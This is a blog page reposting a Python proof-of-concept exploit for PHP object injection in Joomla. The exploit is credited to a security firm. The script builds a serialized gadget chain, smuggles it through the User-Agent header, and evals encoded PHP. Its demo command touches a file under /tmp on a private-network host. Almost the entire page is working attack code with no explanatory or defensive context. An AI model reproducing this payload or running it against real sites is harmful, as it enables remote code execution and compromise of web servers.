Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863573078

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response
   
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl)